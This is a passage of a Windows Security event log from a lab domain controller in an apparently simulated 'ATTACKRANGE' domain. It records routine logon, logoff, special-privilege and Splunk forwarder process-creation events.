	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x417918

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256504
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4178AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256503
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4178AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65325

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256502
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4178AC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256508
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256510
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256509
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256522
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256521
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418ADD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256520
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418BEB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256519
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418C34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256518
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x418CA6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65330

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256517
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418CA6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256516
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x418C34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		65329

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256515
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418C34

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256514
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x418BEB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256513
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418BEB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256512
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x418ADD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65328

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256511
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418ADD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:27:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256523
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256524
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256525
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:27:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256526
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x418CA6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256529
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x41B247

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:27:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256528
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x41B247
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65341

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:27:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256527
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
